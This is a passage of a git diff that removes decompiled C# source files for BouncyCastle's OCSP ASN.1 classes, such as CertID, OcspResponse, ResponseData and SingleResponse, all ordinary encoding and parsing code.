Asn1Sequence certs) - { - this.tbsResponseData = tbsResponseData; - this.signatureAlgorithm = signatureAlgorithm; - this.signature = signature; - this.certs = certs; - } - - private BasicOcspResponse(Asn1Sequence seq) - { - tbsResponseData = ResponseData.GetInstance(seq[0]); - signatureAlgorithm = AlgorithmIdentifier.GetInstance(seq[1]); - signature = (DerBitString)seq[2]; - if (seq.Count > 3) - { - certs = Asn1Sequence.GetInstance((Asn1TaggedObject)seq[3], explicitly: true); - } - } - - [Obsolete("Use TbsResponseData property instead")] - public ResponseData GetTbsResponseData() - { - return tbsResponseData; - } - - [Obsolete("Use SignatureAlgorithm property instead")] - public AlgorithmIdentifier GetSignatureAlgorithm() - { - return signatureAlgorithm; - } - - [Obsolete("Use Signature property instead")] - public DerBitString GetSignature() - { - return signature; - } - - public byte[] GetSignatureOctets() - { - return signature.GetOctets(); - } - - [Obsolete("Use Certs property instead")] - public Asn1Sequence GetCerts() - { - return certs; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(tbsResponseData, signatureAlgorithm, signature); - if (certs != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, certs)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/CertID.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/CertID.cs deleted file mode 100644 index ac21f74..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/CertID.cs +++ /dev/null @@ -1,67 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Ocsp; - -public class CertID : Asn1Encodable -{ - private readonly AlgorithmIdentifier hashAlgorithm; - - private readonly Asn1OctetString issuerNameHash; - - private readonly Asn1OctetString issuerKeyHash; - - private readonly DerInteger serialNumber; - - public AlgorithmIdentifier HashAlgorithm => hashAlgorithm; - - public Asn1OctetString IssuerNameHash => issuerNameHash; - - public Asn1OctetString IssuerKeyHash => issuerKeyHash; - - public DerInteger SerialNumber => serialNumber; - - public static CertID GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static CertID GetInstance(object obj) - { - if (obj == null || obj is CertID) - { - return (CertID)obj; - } - if (obj is Asn1Sequence) - { - return new CertID((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public CertID(AlgorithmIdentifier hashAlgorithm, Asn1OctetString issuerNameHash, Asn1OctetString issuerKeyHash, DerInteger serialNumber) - { - this.hashAlgorithm = hashAlgorithm; - this.issuerNameHash = issuerNameHash; - this.issuerKeyHash = issuerKeyHash; - this.serialNumber = serialNumber; - } - - private CertID(Asn1Sequence seq) - { - if (seq.Count != 4) - { - throw new ArgumentException("Wrong number of elements in sequence", "seq"); - } - hashAlgorithm = AlgorithmIdentifier.GetInstance(seq[0]); - issuerNameHash = Asn1OctetString.GetInstance(seq[1]); - issuerKeyHash = Asn1OctetString.GetInstance(seq[2]); - serialNumber = DerInteger.GetInstance(seq[3]); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(hashAlgorithm, issuerNameHash, issuerKeyHash, serialNumber); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/CertStatus.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/CertStatus.cs deleted file mode 100644 index bff6a5a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/CertStatus.cs +++ /dev/null @@ -1,68 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Ocsp; - -public class CertStatus : Asn1Encodable, IAsn1Choice -{ - private readonly int tagNo; - - private readonly Asn1Encodable value; - - public int TagNo => tagNo; - - public Asn1Encodable Status => value; - - public CertStatus() - { - tagNo = 0; - value = DerNull.Instance; - } - - public CertStatus(RevokedInfo info) - { - tagNo = 1; - value = info; - } - - public CertStatus(int tagNo, Asn1Encodable value) - { - this.tagNo = tagNo; - this.value = value; - } - - public CertStatus(Asn1TaggedObject choice) - { - tagNo = choice.TagNo; - switch (choice.TagNo) - { - case 1: - value = RevokedInfo.GetInstance(choice, explicitly: false); - break; - case 0: - case 2: - value = DerNull.Instance; - break; - default: - throw new ArgumentException("Unknown tag encountered: " + choice.TagNo); - } - } - - public static CertStatus GetInstance(object obj) - { - if (obj == null || obj is CertStatus) - { - return (CertStatus)obj; - } - if (obj is Asn1TaggedObject) - { - return new CertStatus((Asn1TaggedObject)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public override Asn1Object ToAsn1Object() - { - return new DerTaggedObject(explicitly: false, tagNo, value); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/CrlID.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/CrlID.cs deleted file mode 100644 index 0b59f7f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/CrlID.cs +++ /dev/null @@ -1,57 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.Ocsp; - -public class CrlID : Asn1Encodable -{ - private readonly DerIA5String crlUrl; - - private readonly DerInteger crlNum; - - private readonly DerGeneralizedTime crlTime; - - public DerIA5String CrlUrl => crlUrl; - - public DerInteger CrlNum => crlNum; - - public DerGeneralizedTime CrlTime => crlTime; - - public CrlID(Asn1Sequence seq) - { - foreach (Asn1TaggedObject item in seq) - { - switch (item.TagNo) - { - case 0: - crlUrl = DerIA5String.GetInstance(item, isExplicit: true); - break; - case 1: - crlNum = DerInteger.GetInstance(item, isExplicit: true); - break; - case 2: - crlTime = DerGeneralizedTime.GetInstance(item, isExplicit: true); - break; - default: - throw new ArgumentException("unknown tag number: " + item.TagNo); - } - } - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (crlUrl != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, crlUrl)); - } - if (crlNum != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 1, crlNum)); - } - if (crlTime != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 2, crlTime)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/OcspObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/OcspObjectIdentifiers.cs deleted file mode 100644 index 10c2922..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/OcspObjectIdentifiers.cs +++ /dev/null @@ -1,22 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Ocsp; - -public abstract class OcspObjectIdentifiers -{ - internal const string PkixOcspId = "1.3.6.1.5.5.7.48.1"; - - public static readonly DerObjectIdentifier PkixOcsp = new DerObjectIdentifier("1.3.6.1.5.5.7.48.1"); - - public static readonly DerObjectIdentifier PkixOcspBasic = new DerObjectIdentifier("1.3.6.1.5.5.7.48.1.1"); - - public static readonly DerObjectIdentifier PkixOcspNonce = new DerObjectIdentifier(string.Concat(PkixOcsp, ".2")); - - public static readonly DerObjectIdentifier PkixOcspCrl = new DerObjectIdentifier(string.Concat(PkixOcsp, ".3")); - - public static readonly DerObjectIdentifier PkixOcspResponse = new DerObjectIdentifier(string.Concat(PkixOcsp, ".4")); - - public static readonly DerObjectIdentifier PkixOcspNocheck = new DerObjectIdentifier(string.Concat(PkixOcsp, ".5")); - - public static readonly DerObjectIdentifier PkixOcspArchiveCutoff = new DerObjectIdentifier(string.Concat(PkixOcsp, ".6")); - - public static readonly DerObjectIdentifier PkixOcspServiceLocator = new DerObjectIdentifier(string.Concat(PkixOcsp, ".7")); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/OcspRequest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/OcspRequest.cs deleted file mode 100644 index 931b51d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/OcspRequest.cs +++ /dev/null @@ -1,62 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Ocsp; - -public class OcspRequest : Asn1Encodable -{ - private readonly TbsRequest tbsRequest; - - private readonly Signature optionalSignature; - - public TbsRequest TbsRequest => tbsRequest; - - public Signature OptionalSignature => optionalSignature; - - public static OcspRequest GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static OcspRequest GetInstance(object obj) - { - if (obj == null || obj is OcspRequest) - { - return (OcspRequest)obj; - } - if (obj is Asn1Sequence) - { - return new OcspRequest((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public OcspRequest(TbsRequest tbsRequest, Signature optionalSignature) - { - if (tbsRequest == null) - { - throw new ArgumentNullException("tbsRequest"); - } - this.tbsRequest = tbsRequest; - this.optionalSignature = optionalSignature; - } - - private OcspRequest(Asn1Sequence seq) - { - tbsRequest = TbsRequest.GetInstance(seq[0]); - if (seq.Count == 2) - { - optionalSignature = Signature.GetInstance((Asn1TaggedObject)seq[1], explicitly: true); - } - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(tbsRequest); - if (optionalSignature != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, optionalSignature)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/OcspResponse.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/OcspResponse.cs deleted file mode 100644 index 4fcebb0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/OcspResponse.cs +++ /dev/null @@ -1,62 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Ocsp; - -public class OcspResponse : Asn1Encodable -{ - private readonly OcspResponseStatus responseStatus; - - private readonly ResponseBytes responseBytes; - - public OcspResponseStatus ResponseStatus => responseStatus; - - public ResponseBytes ResponseBytes => responseBytes; - - public static OcspResponse GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static OcspResponse GetInstance(object obj) - { - if (obj == null || obj is OcspResponse) - { - return (OcspResponse)obj; - } - if (obj is Asn1Sequence) - { - return new OcspResponse((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public OcspResponse(OcspResponseStatus responseStatus, ResponseBytes responseBytes) - { - if (responseStatus == null) - { - throw new ArgumentNullException("responseStatus"); - } - this.responseStatus = responseStatus; - this.responseBytes = responseBytes; - } - - private OcspResponse(Asn1Sequence seq) - { - responseStatus = new OcspResponseStatus(DerEnumerated.GetInstance(seq[0])); - if (seq.Count == 2) - { - responseBytes = ResponseBytes.GetInstance((Asn1TaggedObject)seq[1], explicitly: true); - } - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(responseStatus); - if (responseBytes != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, responseBytes)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/OcspResponseStatus.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/OcspResponseStatus.cs deleted file mode 100644 index 565007a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/OcspResponseStatus.cs +++ /dev/null @@ -1,26 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Ocsp; - -public class OcspResponseStatus : DerEnumerated -{ - public const int Successful = 0; - - public const int MalformedRequest = 1; - - public const int InternalError = 2; - - public const int TryLater = 3; - - public const int SignatureRequired = 5; - - public const int Unauthorized = 6; - - public OcspResponseStatus(int value) - : base(value) - { - } - - public OcspResponseStatus(DerEnumerated value) - : base(value.Value.IntValue) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/Request.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/Request.cs deleted file mode 100644 index 202799d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/Request.cs +++ /dev/null @@ -1,63 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Ocsp; - -public class Request : Asn1Encodable -{ - private readonly CertID reqCert; - - private readonly X509Extensions singleRequestExtensions; - - public CertID ReqCert => reqCert; - - public X509Extensions SingleRequestExtensions => singleRequestExtensions; - - public static Request GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static Request GetInstance(object obj) - { - if (obj == null || obj is Request) - { - return (Request)obj; - } - if (obj is Asn1Sequence) - { - return new Request((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public Request(CertID reqCert, X509Extensions singleRequestExtensions) - { - if (reqCert == null) - { - throw new ArgumentNullException("reqCert"); - } - this.reqCert = reqCert; - this.singleRequestExtensions = singleRequestExtensions; - } - - private Request(Asn1Sequence seq) - { - reqCert = CertID.GetInstance(seq[0]); - if (seq.Count == 2) - { - singleRequestExtensions = X509Extensions.GetInstance((Asn1TaggedObject)seq[1], explicitly: true); - } - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(reqCert); - if (singleRequestExtensions != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, singleRequestExtensions)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/ResponderID.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/ResponderID.cs deleted file mode 100644 index 6a298f3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/ResponderID.cs +++ /dev/null @@ -1,84 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Asn1.Ocsp; - -public class ResponderID : Asn1Encodable, IAsn1Choice -{ - private readonly Asn1Encodable id; - - public virtual X509Name Name - { - get - { - if (id is Asn1OctetString) - { - return null; - } - return X509Name.GetInstance(id); - } - } - - public static ResponderID GetInstance(object obj) - { - if (obj == null || obj is ResponderID) - { - return (ResponderID)obj; - } - if (obj is DerOctetString) - { - return new ResponderID((DerOctetString)obj); - } - if (obj is Asn1TaggedObject) - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)obj; - if (asn1TaggedObject.TagNo == 1) - { - return new ResponderID(X509Name.GetInstance(asn1TaggedObject, explicitly: true)); - } - return new ResponderID(Asn1OctetString.GetInstance(asn1TaggedObject, isExplicit: true)); - } - return new ResponderID(X509Name.GetInstance(obj)); - } - - public ResponderID(Asn1OctetString id) - { - if (id == null) - { - throw new ArgumentNullException("id"); - } - this.id = id; - } - - public ResponderID(X509Name id) - { - if (id == null) - { - throw new ArgumentNullException("id"); - } - this.id = id; - } - - public static ResponderID GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - return GetInstance(obj.GetObject()); - } - - public virtual byte[] GetKeyHash() - { - if (id is Asn1OctetString) - { - return ((Asn1OctetString)id).GetOctets(); - } - return null; - } - - public override Asn1Object ToAsn1Object() - { - if (id is Asn1OctetString) - { - return new DerTaggedObject(explicitly: true, 2, id); - } - return new DerTaggedObject(explicitly: true, 1, id); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/ResponseBytes.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/ResponseBytes.cs deleted file mode 100644 index 9240271..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/ResponseBytes.cs +++ /dev/null @@ -1,62 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Ocsp; - -public class ResponseBytes : Asn1Encodable -{ - private readonly DerObjectIdentifier responseType; - - private readonly Asn1OctetString response; - - public DerObjectIdentifier ResponseType => responseType; - - public Asn1OctetString Response => response; - - public static ResponseBytes GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static ResponseBytes GetInstance(object obj) - { - if (obj == null || obj is ResponseBytes) - { - return (ResponseBytes)obj; - } - if (obj is Asn1Sequence) - { - return new ResponseBytes((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public ResponseBytes(DerObjectIdentifier responseType, Asn1OctetString response) - { - if (responseType == null) - { - throw new ArgumentNullException("responseType"); - } - if (response == null) - { - throw new ArgumentNullException("response"); - } - this.responseType = responseType; - this.response = response; - } - - private ResponseBytes(Asn1Sequence seq) - { - if (seq.Count != 2) - { - throw new ArgumentException("Wrong number of elements in sequence", "seq"); - } - responseType = DerObjectIdentifier.GetInstance(seq[0]); - response = Asn1OctetString.GetInstance(seq[1]); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(responseType, response); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/ResponseData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/ResponseData.cs deleted file mode 100644 index f1a9d93..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/ResponseData.cs +++ /dev/null @@ -1,110 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Ocsp; - -public class ResponseData : Asn1Encodable -{ - private static readonly DerInteger V1 = new DerInteger(0); - - private readonly bool versionPresent; - - private readonly DerInteger version; - - private readonly ResponderID responderID; - - private readonly DerGeneralizedTime producedAt; - - private readonly Asn1Sequence responses; - - private readonly X509Extensions responseExtensions; - - public DerInteger Version => version; - - public ResponderID ResponderID => responderID; - - public DerGeneralizedTime ProducedAt => producedAt; - - public Asn1Sequence Responses => responses; - - public X509Extensions ResponseExtensions => responseExtensions; - - public static ResponseData GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static ResponseData GetInstance(object obj) - { - if (obj == null || obj is ResponseData) - { - return (ResponseData)obj; - } - if (obj is Asn1Sequence) - { - return new ResponseData((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public ResponseData(DerInteger version, ResponderID responderID, DerGeneralizedTime producedAt, Asn1Sequence responses, X509Extensions responseExtensions) - { - this.version = version; - this.responderID = responderID; - this.producedAt = producedAt; - this.responses = responses; - this.responseExtensions = responseExtensions; - } - - public ResponseData(ResponderID responderID, DerGeneralizedTime producedAt, Asn1Sequence responses, X509Extensions responseExtensions) - : this(V1, responderID, producedAt, responses, responseExtensions) - { - } - - private ResponseData(Asn1Sequence seq) - { - int num = 0; - Asn1Encodable asn1Encodable = seq[0]; - if (asn1Encodable is Asn1TaggedObject) - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)asn1Encodable; - if (asn1TaggedObject.TagNo == 0) - { - versionPresent = true; - version = DerInteger.GetInstance(asn1TaggedObject, isExplicit: true); - num++; - } - else - { - version = V1; - } - } - else - { - version = V1; - } - responderID = ResponderID.GetInstance(seq[num++]); - producedAt = (DerGeneralizedTime)seq[num++]; - responses = (Asn1Sequence)seq[num++]; - if (seq.Count > num) - { - responseExtensions = X509Extensions.GetInstance((Asn1TaggedObject)seq[num], explicitly: true); - } - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (versionPresent || !version.Equals(V1)) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, version)); - } - asn1EncodableVector.Add(responderID, producedAt, responses); - if (responseExtensions != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 1, responseExtensions)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/RevokedInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/RevokedInfo.cs deleted file mode 100644 index b1e3f57..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/RevokedInfo.cs +++ /dev/null @@ -1,68 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Ocsp; - -public class RevokedInfo : Asn1Encodable -{ - private readonly DerGeneralizedTime revocationTime; - - private readonly CrlReason revocationReason; - - public DerGeneralizedTime RevocationTime => revocationTime; - - public CrlReason RevocationReason => revocationReason; - - public static RevokedInfo GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static RevokedInfo GetInstance(object obj) - { - if (obj == null || obj is RevokedInfo) - { - return (RevokedInfo)obj; - } - if (obj is Asn1Sequence) - { - return new RevokedInfo((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public RevokedInfo(DerGeneralizedTime revocationTime) - : this(revocationTime, null) - { - } - - public RevokedInfo(DerGeneralizedTime revocationTime, CrlReason revocationReason) - { - if (revocationTime == null) - { - throw new ArgumentNullException("revocationTime"); - } - this.revocationTime = revocationTime; - this.revocationReason = revocationReason; - } - - private RevokedInfo(Asn1Sequence seq) - { - revocationTime = (DerGeneralizedTime)seq[0]; - if (seq.Count > 1) - { - revocationReason = new CrlReason(DerEnumerated.GetInstance((Asn1TaggedObject)seq[1], isExplicit: true)); - } - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(revocationTime); - if (revocationReason != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, revocationReason)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/ServiceLocator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/ServiceLocator.cs deleted file mode 100644 index 164b4e6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/ServiceLocator.cs +++ /dev/null @@ -1,68 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Ocsp; - -public class ServiceLocator : Asn1Encodable -{ - private readonly X509Name issuer; - - private readonly Asn1Object locator; - - public X509Name Issuer => issuer; - - public Asn1Object Locator => locator; - - public static ServiceLocator GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static ServiceLocator GetInstance(object obj) - { - if (obj == null || obj is ServiceLocator) - { - return (ServiceLocator)obj; - } - if (obj is Asn1Sequence) - { - return new ServiceLocator((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public ServiceLocator(X509Name issuer) - : this(issuer, null) - { - } - - public ServiceLocator(X509Name issuer, Asn1Object locator) - { - if (issuer == null) - { - throw new ArgumentNullException("issuer"); - } - this.issuer = issuer; - this.locator = locator; - } - - private ServiceLocator(Asn1Sequence seq) - { - issuer = X509Name.GetInstance(seq[0]); - if (seq.Count > 1) - { - locator = seq[1].ToAsn1Object(); - } - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(issuer); - if (locator != null) - { - asn1EncodableVector.Add(locator); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/Signature.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/Signature.cs deleted file mode 100644 index f0fafea..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/Signature.cs +++ /dev/null @@ -1,83 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Ocsp; - -public class Signature : Asn1Encodable -{ - internal AlgorithmIdentifier signatureAlgorithm; - - internal DerBitString signatureValue; - - internal Asn1Sequence certs; - - public AlgorithmIdentifier SignatureAlgorithm => signatureAlgorithm; - - public DerBitString SignatureValue => signatureValue; - - public Asn1Sequence Certs => certs; - - public static Signature GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static Signature GetInstance(object obj) - { - if (obj == null || obj is Signature) - { - return (Signature)obj; - } - if (obj is Asn1Sequence) - { - return new Signature((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public Signature(AlgorithmIdentifier signatureAlgorithm, DerBitString signatureValue) - : this(signatureAlgorithm, signatureValue, null) - { - } - - public Signature(AlgorithmIdentifier signatureAlgorithm, DerBitString signatureValue, Asn1Sequence certs) - { - if (signatureAlgorithm == null) - { - throw new ArgumentException("signatureAlgorithm"); - } - if (signatureValue == null) - { - throw new ArgumentException("signatureValue"); - } - this.signatureAlgorithm = signatureAlgorithm; - this.signatureValue = signatureValue; - this.certs = certs; - } - - private Signature(Asn1Sequence seq) - { - signatureAlgorithm = AlgorithmIdentifier.GetInstance(seq[0]); - signatureValue = (DerBitString)seq[1]; - if (seq.Count == 3) - { - certs = Asn1Sequence.GetInstance((Asn1TaggedObject)seq[2], explicitly: true); - } - } - - public byte[] GetSignatureOctets() - { - return signatureValue.GetOctets(); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(signatureAlgorithm, signatureValue); - if (certs != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, certs)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/SingleResponse.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/SingleResponse.cs deleted file mode 100644 index 548e14c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/SingleResponse.cs +++ /dev/null @@ -1,93 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Ocsp; - -public class SingleResponse : Asn1Encodable -{ - private readonly CertID certID; - - private readonly CertStatus certStatus; - - private readonly DerGeneralizedTime thisUpdate; - - private readonly DerGeneralizedTime nextUpdate; - - private readonly X509Extensions singleExtensions; - - public CertID CertId => certID; - - public CertStatus CertStatus => certStatus; - - public DerGeneralizedTime ThisUpdate => thisUpdate; - - public DerGeneralizedTime NextUpdate => nextUpdate; - - public X509Extensions SingleExtensions => singleExtensions; - - public SingleResponse(CertID certID, CertStatus certStatus, DerGeneralizedTime thisUpdate, DerGeneralizedTime nextUpdate, X509Extensions singleExtensions) - { - this.certID = certID; - this.certStatus = certStatus; - this.thisUpdate = thisUpdate; - this.nextUpdate = nextUpdate; - this.singleExtensions = singleExtensions; - } - - public SingleResponse(Asn1Sequence seq) - { - certID = CertID.GetInstance(seq[0]); - certStatus = CertStatus.GetInstance(seq[1]); - thisUpdate = (DerGeneralizedTime)seq[2]; - if (seq.Count > 4) - { - nextUpdate = DerGeneralizedTime.GetInstance((Asn1TaggedObject)seq[3], isExplicit: true); - singleExtensions = X509Extensions.GetInstance((Asn1TaggedObject)seq[4], explicitly: true); - } - else if (seq.Count > 3) - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)seq[3]; - if (asn1TaggedObject.TagNo == 0) - { - nextUpdate = DerGeneralizedTime.GetInstance(asn1TaggedObject, isExplicit: true); - } - else - { - singleExtensions = X509Extensions.GetInstance(asn1TaggedObject, explicitly: true); - } - } - } - - public static SingleResponse GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static SingleResponse GetInstance(object obj) - { - if (obj == null || obj is SingleResponse) - { - return (SingleResponse)obj; - } - if (obj is Asn1Sequence) - { - return new SingleResponse((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public override 